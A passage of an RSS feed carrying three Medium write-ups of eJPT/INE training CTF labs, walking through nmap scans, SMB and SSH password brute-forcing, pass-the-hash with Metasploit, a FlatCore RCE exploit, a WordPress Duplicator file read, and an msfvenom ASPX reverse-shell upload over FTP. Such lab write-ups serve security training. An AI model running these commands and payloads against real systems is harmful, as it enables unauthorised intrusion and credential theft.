src="https://cdn-images-1.medium.com/max/671/1*XqD7z6lVHv9PwmHyIIQxkA.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=7c400ac6e397" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[[eJPT] Host & Network Penetration Testing Exploitation CTF 2]]></title>
            <link>https://medium.com/@sema_hasmer/ejpt-host-network-penetration-testing-exploitation-ctf-2-ef198d13bfb9?source=rss-70769088d406------2</link>
            <guid isPermaLink="false">https://medium.com/p/ef198d13bfb9</guid>
            <category><![CDATA[firefox]]></category>
            <category><![CDATA[nmap]]></category>
            <category><![CDATA[metasploit]]></category>
            <category><![CDATA[smbmap]]></category>
            <category><![CDATA[cyt2]]></category>
            <dc:creator><![CDATA[Sema Hasmer]]></dc:creator>
            <pubDate>Thu, 29 Oct 2026 19:54:36 GMT</pubDate>
            <atom:updated>2026-10-29T19:54:36.060Z</atom:updated>
            <content:encoded><![CDATA[<h3>Completing Skill Check Labs</h3><p>Skill Check Labs are practical exercises designed to assess your ability to apply the concepts covered in this course. You will need to investigate the target, identify potential weaknesses, and use your technical skills to complete each task. Solutions are not provided, so you must work through the challenges independently. Your performance will be graded to track your progress.</p><h3>Lab Environment</h3><p>A target machine is available at target.ine.local. Begin by identifying the running services and use your findings to complete the following objectives.</p><ul><li><strong>Flag 1:</strong> The SMB user tom appears to have an outdated password. Investigate whether you can obtain access to the account.</li><li><strong>Flag 2:</strong> Use the NTLM hash list discovered in the previous challenge to attempt to compromise the SMB user nancy.</li><li><strong>Flag 3:</strong> Revisit the hint from the previous challenge and determine how it can help you uncover the next flag.</li><li><strong>Flag 4:</strong> Find a way to compromise the target machine and retrieve C:\flag4.txt.</li></ul><p>The following wordlist may be useful during password testing:</p><ul><li>/usr/share/wordlists/metasploit/unix_passwords.txt</li></ul><h3>Tools</h3><ul><li>Metasploit</li><li>Nmap</li><li>smbmap</li><li>Firefox</li></ul><p><strong>Flag 1: Looks like smb user tom has not changed his password from a very long time.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/492/1*Xy8X8N0r7BkGRoKA_2oJfg.png" /></figure><p>As usual, we begin with Nmap to scan for open ports and services using the following command</p><p>nmap -sC -sV -p- target.ine.local</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/677/1*8i2UlDZl9N_Y__Ir5LSe_g.png" /></figure><p>So, the SMB service is running on port 445, and as the question suggests, user Tom has a weak password. Let’s attempt to brute-force the password using CrackMapExec.</p><p>We can use tools like Hydra, CrackMapExec, or a Metasploit module for brute-forcing, but in this case, we’ll use CrackMapExec.</p><p>Command:</p><p>crackmapexec smb target.ine.local -u tom -p /usr/share/metasploit-framework/data/wordlists/unix_passwords.txt</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/679/1*tWPDraQE95lU4WsB9IX7RQ.png" /></figure><p>And here we have successfully obtained the password: felipe.</p><p>Now, we can enumerate the shares accessible to Tom and analyze his permissions using SMBMap. This will help us understand what operations he can perform on the system.</p><p>Command:</p><p>smbmap -H target.ine.local -u tom -p felipe</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/677/1*8jR5ONegX9bU6ZTY6KRGjg.png" /></figure><p>Now that we know there are only three shares with read-only access, let’s connect to the HRDocuments share using the following command:</p><p>Command:</p><p>smbclient <a href="https://target.ine.local/HRDocuments">//target.ine.local/HRDocuments</a> -U tom</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/684/1*9WDxIqktp4CdMI3zl_6cmQ.png" /></figure><p>To download these files, use the get command as follows:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/675/1*ON3AHzqcs-AXxaddF6NxQQ.png" /></figure><p>Now, use the cat command to read the contents of flag1.txt. Here, we obtain our first flag:</p><p><strong>78bdadd71c4d42988dfe0603023e0744</strong></p><p>download leaked-hashes.txt file → get leaked-hashes.txt</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/681/1*9rgghOc0jQnhjTzhKRVFGQ.png" /></figure><p><strong>Flag 2: Using the NTLM hash list discovered in the previous challenge, can you compromise the smb user nancy?</strong></p><p>In the previous step, we discovered leaked-hashes.txt, which contains NTLM hashes. Since the question asks us to compromise the Nancy user, we can use the Metasploit module scanner/smb/smb_login to attempt authentication using the leaked NTLM hash.</p><p>First, type options to list the required options for the module.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/671/1*SOqAbqHa8-mtqNfO_aTCbA.png" /></figure><p>Now, set the following options for the Metasploit module scanner/smb/smb_login:</p><p>RHOSTS: Set the target IP address or hostname which is target.ine.local</p><p>set RHOSTS target.ine.local</p><p>PASS_FILE: Set the path to the file containing the NTLM hashes, which is lekaded-hashes.txt</p><p>set PASS_FILE leaked-hashes.txt</p><p>SMBUser: Set the SMB username, which is nancy. --&gt;</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/663/1*e1Jo1VQVCRhOuM53SHKQew.png" /></figure><p>To create a session upon successful authentication, we need to set CreateSession to true. Once this is done, we can run the module to attempt to compromise the SMB user Nancy.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/651/1*6_mRJW4M_uCQ2cjddcJPTA.png" /></figure><p>We have successfully compromised the ‘nancy’ user. To view the active sessions, type the command sessions. To interact with the session, use the following command: sessions 1.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/680/1*eNihcb5GiivWxcfJsJapgw.png" /></figure><p>sessions 1</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/676/1*7yR2Zd9djTVIGlsB-IpGYw.png" /></figure><p>To list the shares available for the ‘nancy’ user, use the command: shares.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/677/1*r6D6Oq6gxHQa1gzRCXZLwA.png" /></figure><p>We don’t have access to the HRDocuments share. Let&#39;s connect to the ITResources share by using the command</p><p>shares -i ITResources</p><p>Then, use the ls command to list the contents of the directory.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/682/1*-0CBytX-LPQN6lxTNVwM6Q.png" /></figure><p>To retrieve this flag, use the</p><p>download flag2.txt</p><p>command. And also download the hint.txt file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/684/1*Hby5qnSP5N6NxiQr60EMQA.png" /></figure><p>Use the cat command to read its contents. This is where we find our second flag, which is:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/685/1*zQi0AXpbqS5nIKZd4oxWBQ.png" /></figure><p>e4425371607c4bd7b949badf81e883a6</p><p>In the beginning, we enumerated the services running on the domain. Now, let’s try connecting to the FTP service using the credentials found in hint.txt. To connect to FTP, type the command: ftp target.ine.local, and enter the credentials when prompted.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/672/1*HwfMDCZDKQly64J32q1FcA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/549/1*vPNC0M2SUDssgBWUwEUYxg.png" /></figure><p>We have successfully connected to the FTP server. To view the contents, type the dir or ls command.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/633/1*l198aGhro0-t0o987qLLoA.png" /></figure><p>Here, we find our third flag, which is:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/672/1*MLW98dbWabNM4yJFDUYGYg.png" /></figure><p>7f4d86e443f04d4fabde5caf6d7a3074</p><p><strong>Flag4: Can you compromise the target machine and retrieve the C://flag4.txt file?</strong></p><p>After further analysis, we see that port 80 is open and we have FTP access. Enumeration shows that FTP is linked to this port, meaning any files uploaded will be reflected on the website. Since the server is running IIS, we can upload an ASPX shell.</p><p>Note: Use your IP address for LHOST.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/680/1*84brLoLnc-BLKsPBM_4ddw.png" /></figure><p>msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.40.5 LPORT=1234 -f aspx &gt; shell.aspx</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/675/1*PY0zIyRU14sOCygLJbrhXA.png" /></figure><p>Upload the shell to FTP using the put command.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/671/1*p87Db2pZxMhLYVChQbc1_w.png" /></figure><p>Then, use the msfconsole module /multi/handler to handle the incoming connection.</p><p>search multi/handler</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/672/1*xAx0Pq7E5tm3q0DBSfuivw.png" /></figure><p>Set these three parameters: PAYLOAD, LHOST, and LPORT, which were configured in the msfvenom payload.</p><p>set PAYLOAD windows/x64/meterpreter/reverse_tcp<br>set LHOST 10.10.40.6<br>set LPORT 1234<br>run</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/683/1*UkAPGdYgPubxp6O9XyjBKQ.png" /></figure><p>Navigate to <a href="http://target.ine.local/shell.aspx">http://target.ine.local/shell.aspx</a> in the browser. You should observe that we have successfully obtained the shell.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/686/1*DLYFtlvcDywdgZFiWL7N8g.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/677/1*zLHB19JXA6P6qZSXT4Fz8w.png" /></figure><p>To retrieve the last flag, type</p><p>cat C://flag4.txt</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/556/1*qAci_aZ-KXFQs56n3RYjdQ.png" /></figure><p>or create a shell and go to C driver type flag4.txt</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/680/1*ukIaDVAkT_dM2stqh6n6eA.png" /></figure><p>779b1c79bec9462a8a830be9cc1a05fa</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=ef198d13bfb9" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[[eJPT] Host & Network Penetration Testing Exploitation CTF 1]]></title>
            <link>https://medium.com/@sema_hasmer/ejpt-host-network-penetration-testing-exploitation-ctf-1-0f4421c89033?source=rss-70769088d406------2</link>
            <guid isPermaLink="false">https://medium.com/p/0f4421c89033</guid>
            <category><![CDATA[dirb]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[nmap]]></category>
            <category><![CDATA[host-network]]></category>
            <category><![CDATA[hydra]]></category>
            <dc:creator><![CDATA[Sema Hasmer]]></dc:creator>
            <pubDate>Thu, 29 Oct 2026 19:34:00 GMT</pubDate>
            <atom:updated>2026-10-29T19:34:00.996Z</atom:updated>
            <content:encoded><![CDATA[<h3>Completing Skill Check Labs</h3><p>Skill Check Labs are hands-on exercises designed to test the knowledge and skills you have developed throughout this course. Each lab presents real-world scenarios that require you to apply your technical knowledge and problem-solving skills. Unlike standard INE labs, these exercises do not provide solutions, allowing you to work through the challenges independently. Your results are graded to help you measure your progress and identify areas for improvement.</p><h3>Lab Environment</h3><p>Two Linux machines are available for testing: target1.ine.local and target2.ine.local. Your task is to identify the applications and services running on these targets, exploit the identified vulnerabilities, and retrieve all four flags.</p><ul><li><strong>Flag 1:</strong> Identify and exploit the vulnerable web application on target1.ine.local to retrieve the flag from the root directory. The credentials admin:password1 may be helpful.</li><li><strong>Flag 2:</strong> Identify and compromise an insecure system user on target1.ine.local.</li><li><strong>Flag 3:</strong> Identify and exploit the vulnerable plugin in the web application running on target2.ine.local, then retrieve flag3.txt from the root directory.</li><li><strong>Flag 4:</strong> Identify and compromise a system user on target2.ine.local that does not require authentication.</li></ul><p>The following wordlists may help during enumeration and password attacks:</p><ul><li>/usr/share/nmap/nselib/data/wp-plugins.lst</li><li>/usr/share/metasploit-framework/data/wordlists/unix_passwords.txt</li></ul><h3>Tools</h3><ul><li>Nmap</li><li>Hydra</li><li>Dirb</li><li>Python3</li><li>Metasploit</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/667/1*E7jMg0FqjWdX66AG_c2pwQ.png" /></figure><h3>Flag 1: Exploiting the Vulnerable Web Application</h3><p>Our first objective is to identify and exploit the vulnerable web application on target1.ine.local and retrieve the flag stored in the root directory. The credentials admin:password1 may be useful during the investigation.</p><p>First, check the host configuration by running the following command:</p><pre>cat /etc/hosts</pre><p>Next, perform an Nmap scan to discover open ports and identify the services running on the target:</p><pre>nmap -sC -sV target1.ine.local</pre><p>The scan results provide information about the available services and their versions. Use these findings to investigate the web application, identify potential vulnerabilities, and determine the appropriate exploitation method to retrieve the flag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/677/1*RVIG2qt90GGVfr7KxNiFgg.png" /></figure><p>From the Nmap scan results, we can see that port 80 is open, indicating that a web server is running on this port.</p><p>Let’s navigate to the website in a browser and analyze its content for potential vulnerabilities.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/697/1*8Os6z9kXgtXOYeAiUqdE7w.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/672/1*bHdBnHF8fIIwkCutVrE_hQ.png" /></figure><p>After examining the website and doing the dirb, we can confirm that it is running on Flatcore and has a login form. The question provides us with the credentials admin:password1.</p><p>[Flag 1 Identify and exploit the vulnerable web application running on target1.ine.local and retrieve the flag from the root directory. The credentials admin:password1 may be useful.]</p><p>We can use these credentials to log in directly, or alternatively, we can attempt to log in via the following endpoint: <a href="http://target1.ine.local/acp/">http://target1.ine.local/acp/</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/678/1*oadUQHVvzOQioCElMELuoA.png" /></figure><p>After logging in, you will see a dashboard or an admin panel that looks something like this:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/686/1*I-3S0RvFx2LnBw0jBDAkzA.png" /></figure><p>Now that we have identified the application, we can begin exploring potential vulnerabilities. The objective is to exploit the web application and gain access to the root directory.</p><p>Since the website is running FlatCore CMS, we can search for publicly available exploits using the following command:</p><pre>searchsploit flatcore</pre><p>This command searches the Exploit-DB database for known vulnerabilities and exploits associated with FlatCore. Review the results to identify a potentially applicable exploit, then examine its details to determine how it could be used against the target.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/688/1*g4SG3LmZabYO-7aEFS08ZQ.png" /></figure><p>As you can see, there are two available exploits, but neither is present in Metasploit**.** This means we need to execute the exploit manually on our system. Since our goal is to gain access to the root system, we will use the first exploit, which is Remote Code Execution (Authenticated).</p><p>To copy the exploit’s Python code into our current working directory, we can use the following command:</p><p>searchsploit -m 50262</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/679/1*ZiI_RMocI6xA6hR-ytqEPw.png" /></figure><p>Note: 50262 is the exploit ID we are copying from the Exploit-DB database. Once copied, we can analyze and modify it if necessary before executing it.</p><p>Before executing the exploit, we should first read and analyze the code to understand how it works. We can use various tools for this, such as cat, vim, or mousepad etc.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/671/1*5GQtT-jGIBW9fupJCbfq4Q.png" /></figure><p>After reviewing the code, we can determine how to execute the exploit. To run the Python script and attempt exploitation, we use the following command:</p><p>python3 50262.py <a href="http://target1.ine.local/">http://target1.ine.local/</a> admin password1</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/680/1*iLAUEzwPV5gUnc8-bf1fLQ.png" /></figure><p>We have successfully logged in using the exploit. Now, to retrieve our first flag, we need to access the root directory. First, we list the directory contents using the following command:</p><p>ls /</p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/512/1*IT-2s4WZCYpJv0InomUjUA.png" /></figure><p>And here we have our first flag, which we can read using the command:</p><p>cat /flag1.txt</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/670/1*x6Yx7UvBrlg1--cQfMCx5A.png" /></figure><p>FLAG1{442b8d6ad6644f1fb3a24ca3cc2b9506}</p><p><strong>Flag2: Further, identify and compromise an insecure system user on target1.ine.local.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/682/1*7x99DWLSQIiYFaHh6DYADg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/682/1*BiVkG4l1WGYGG6axG59z-g.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/675/1*zqBwDfac85xcKyqxngx3AQ.png" /></figure><p>hydra -l iamaweakuser -P /usr/share/metasploit-framework/data/wordlists/unix_passwords.txt target1.ine.local ssh</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/681/1*m7bNOEvdhQ-3N0NpC5Z8Bg.png" /></figure><p>So now, we have the password. Let’s log in to the SSH service using the command:</p><p>ssh <a href="/service/mailto:iamaweakuser@target1.ine.local">iamaweakuser@target1.ine.local</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/684/1*BpdxmUoRZYzv9anchnjxYA.png" /></figure><p>To list the contents, typels, and read the flag, use cat flag2.txt. Here we got our second flag!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/701/1*d22Ic3t6319758pMT3MsnA.png" /></figure><p><strong>Flag 3: Identify and exploit the vulnerable plugin used by the web application running on target2.ine.local and retrieve the flag3.txt file from the root directory.</strong></p><p>This flag took more time for me because, at a certain point, I was confused about which exploit to use.</p><p>As usual, we start with an Nmap scan using our basic command</p><p>nmap -sC -sV target2.ine.local</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/679/1*-KH6sCVOtzFeFFBaN_Zd0g.png" /></figure><p>So, port 80 is open. Let’s navigate to the website.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/722/1*v0L4Lv642qdLY6Lb47u0Ig.png" /></figure><p>And after analyzing, we can confirm that this website is running on WordPress. Our next step is to enumerate the vulnerable plugin.</p><p>Since it’s a WordPress site, our first instinct is to run wpscan</p><p>wpscan — url <a href="http://target2.ine.local/">http://target2.ine.local/</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/686/1*-crw0rw3-4kBdefftS9cXQ.png" /></figure><p>But unfortunately, it didn’t reveal anything interesting related to plugins.</p><p>To dig deeper, I ran Nikto using the command: nikto -h target2.ine.local</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/673/1*QZOgc7qtfyKPDvAvSdaCKg.png" /></figure><p>And here, we discovered a plugin namedAkismet, but after enumeration, it turned out to be not vulnerable.</p><p>Next, I attempted to brute-force the plugin directory using the following command:</p><p>gobuster dir -u <a href="http://target2.ine.local/wp-content/plugins/">http://target2.ine.local/wp-content/plugins/</a> -w /usr/share/nmap/nselib/data/wp-plugins.lst</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/677/1*66c1HBXCQX2VLHPRS5z-rQ.png" /></figure><p>So now, we have found another plugin named Duplicator. Let’s search for its vulnerabilities using</p><p>searchsploit duplicator</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/672/1*JKEnqtqfkLyXUMR5Jc8pGg.png" /></figure><p>So there are multiple exploits available. One of them is an arbitrary file read exploit in Metasploit.</p><p>Let’s use it by running msfconsole and searching for that particular module.</p><p>msfconsole</p><p>search duplicator</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/675/1*DbJODyQl44qTus4vGSliog.png" /></figure><p>Interact with the module by typing use 1 and then options to list the required parameters.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/679/1*Tv_Mrrayjekfe5KNf8ODNA.png" /></figure><p>So we need to set only RHOSTS as target2.ine.local and run the exploit.</p><p>set RHOSTS target2.ine.local</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/676/1*q0v7QT9bABOAar97ZLcjoA.png" /></figure><p>And the exploit executed successfully. Now, the third flag is in the root directory. Let’s read it by setting the FILEPATH to /flag3.txt.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/673/1*x1hAz3yPvdRSGe5kqlYS7g.png" /></figure><p>And here we got our third flag, which is:</p><p>FLAG3{177eafc58a0d453797b86fd142a0803e}</p><p><strong>Flag 4: Further, identify and compromise a system user requiring no authentication on target2.ine.local.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/675/1*fPwluCHMG8LqCmk3JxpvAQ.png" /></figure><p>While running /etc/passwd during the arbitrary file read, we discovered a user named iamacrazyfreeuser, who has direct access to bash.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/674/1*SNZWCaQ0icotJAUqHOd-2w.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/687/1*XvXaWQN1UOnEkLGmtufhuQ.png" /></figure><p>From the Nmap scan, we know that SSH is open, so let’s try connecting using</p><p>ssh <a href="/service/mailto:iamacrazyfreeuser@target2.ine.local">iamacrazyfreeuser@target2.ine.local</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/675/1*FJ4jCmfPj18S1dPIjxWIJA.png" /></figure><p>And we got access without a password. Now, for our last flag, we need to list the files</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/672/1*WvbH_3xVBvugyX-Am62F2A.png" /></figure><p>FLAG4{29179543c5dc4a53a6f1ec0540da9dc7}</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=0f4421c89033" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[[eJPT] Host & Network Penetration Testing: The Metasploit Framework CTF 2]]></title>
            <link>https://medium.com/@sema_hasmer/ejpt-host-network-penetration-testing-the-metasploit-framework-ctf-2-2d3bf466722c?source=rss-70769088d406------2</link>
            <guid isPermaLink="false">https://medium.com/p/2d3bf466722c</guid>
            <category><![CDATA[metasploit]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[host-network]]></category>
            <category><![CDATA[ctf2]]></category>
            <category><![CDATA[penetration]]></category>
            <dc:creator><![CDATA[Sema Hasmer]]></dc:creator>
            <pubDate>Thu, 29 Oct 2026 14:18:16 GMT</pubDate>
            <atom:updated>2026-10-29T14:18:16.435Z</atom:updated>
            <content:encoded><![CDATA[<p><strong><em>Completing Skill Check Labs</em></strong></p><p><em>Skill Check Labs are interactive, hands-on exercises designed to validate the knowledge and skills you’ve gained in this course through real-world scenarios. Each lab presents practical tasks that require you to apply what you’ve learned. Unlike other INE labs, solutions are not provided, challenging you to demonstrate your understanding and problem-solving abilities. Your performance is graded, allowing you to track progress and measure skill growth over time.</em></p><p><strong><em>Lab Environment</em></strong></p><p><em>In this lab environment, you will have GUI access to a Kali Linux machine. Two machines are accessible at target1.ine.local and target2.ine.local.</em></p><p><em>Objective: Using various exploration techniques, complete the following tasks to capture the associated flags:</em></p><p><strong><em>Flag 1: Enumerate the open port using Metasploit, and inspect the RSYNC banner closely; it might reveal something interesting.</em></strong></p><p><strong><em>Flag 2: The files on the RSYNC server hold valuable information. Explore the contents to find the flag.</em></strong></p><p><strong><em>Flag 3: Try exploiting the webapp to gain a shell using Metasploit on target2.ine.local.</em></strong></p><p><strong><em>Flag 4: Automated tasks can sometimes leave clues. Investigate scheduled jobs or running processes to uncover the hidden flag.</em></strong></p><p><strong><em>Tools</em></strong></p><p><em>The best tools for this lab are:</em></p><p><em>Nmap</em></p><p><em>Metasploit Framework</em></p><p><em>rsync</em></p><p><em>The Metasploit Framework is a powerful tool used for penetration testing and security assessments.</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/791/1*BV2xY0xKCHmKpC528UUaEg.png" /></figure><p><strong>Flag 1: Enumerate the open port using Metasploit, and inspect the RSYNC banner closely; it might reveal something interesting</strong></p><p>For this flag, we can manually perform the nmap scan</p><p>nmap -A target1.ine.local</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/687/1*YiTATpGYlpO-jAHRXey7-A.png" /></figure><p>Only one port is open, which is RSYNC. Let’s try to connect to RSYNC using the following command in the terminal:</p><p>rsync rsync://target1.ine.local</p><p>This command will attempt to list the available RSYNC modules on the server target1.ine.local It will display all the directories or shares that are accessible via RSYNC.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/771/1*9qHj7IizyxqXwVe7wQBGVA.png" /></figure><p><strong>Flag 2: The files on the RSYNC server hold valuable information. Explore the contents to find the flag</strong></p><p>In the previous command,</p><p>rsync rsync://target1.ine.local</p><p>We discovered that there is a module named</p><p>backupwscohen</p><p>Let’s check the contents of that module by running the following command:</p><p>rsync rsync://target1.ine.local/backupwscohen</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/783/1*G-2PhxSKua4-WjVN4B7ToA.png" /></figure><p>We can download these files to our local system using the following command:</p><p>rsync -av rsync://target1.ine.local/backupwscohen/ .</p><p>This command downloads all files from the backupwscohen module on the remote server target1.ine.local to the current local directory (.), using archive mode (`-a) to preserve file properties and verbose mode</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/849/1*3rKeLtzIT1xuQInoS3lOfQ.png" /></figure><p>FLAG2_5a5aba0567f94666a2a900de06639bd6</p><p><strong>Flag 3: Try exploiting the webapp to gain a shell using Metasploit on target2.ine.local</strong></p><p>This question is based on a different host, which is target2.ine.local</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/715/1*a1Tp6idezXXImRgy0r6eCA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/807/1*Opf0wWaXY43Ht74D7YzyWA.png" /></figure><p>search Roxy-WI</p><p>msfconsole</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/790/1*7sUSeo2U8nE41GiZTTxo2w.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/807/1*IKoqqToyia_7Qu5iRW1JiA.png" /></figure><ul><li>LHOST is your local IP, which you can obtain by running ifconfig</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/750/1*dG0oWkPevOsoiO1XcBTSAQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/739/1*grFandqYIG6SX83q316PJg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/725/1*yYhk085-5_s7-nH1N6-EiA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/545/1*rpFmmALvb3nTt5JgMECE6w.png" /></figure><p>After that, type the ls command to list the contents.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/787/1*Czlg3EALmH-6bKPV7_vuyQ.png" /></figure><p>And here, we have found our third flag. We can read it using the cat command.</p><p>cat flag.txt</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/750/1*LZqI3ECTOlUZxt5Y8SfWKQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/732/1*HqRAxdumR0fu4wJs5RC6Mg.png" /></figure><p>There are two directories for cron jobs. We need to manually search for the flag. Our flag is located in the cron.d directory. Let’s navigate to it using the cd command, and then use ls to list its contents.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/733/1*yFb6B5rvz4Y9bQPAdDGNkA.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=2d3bf466722c" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>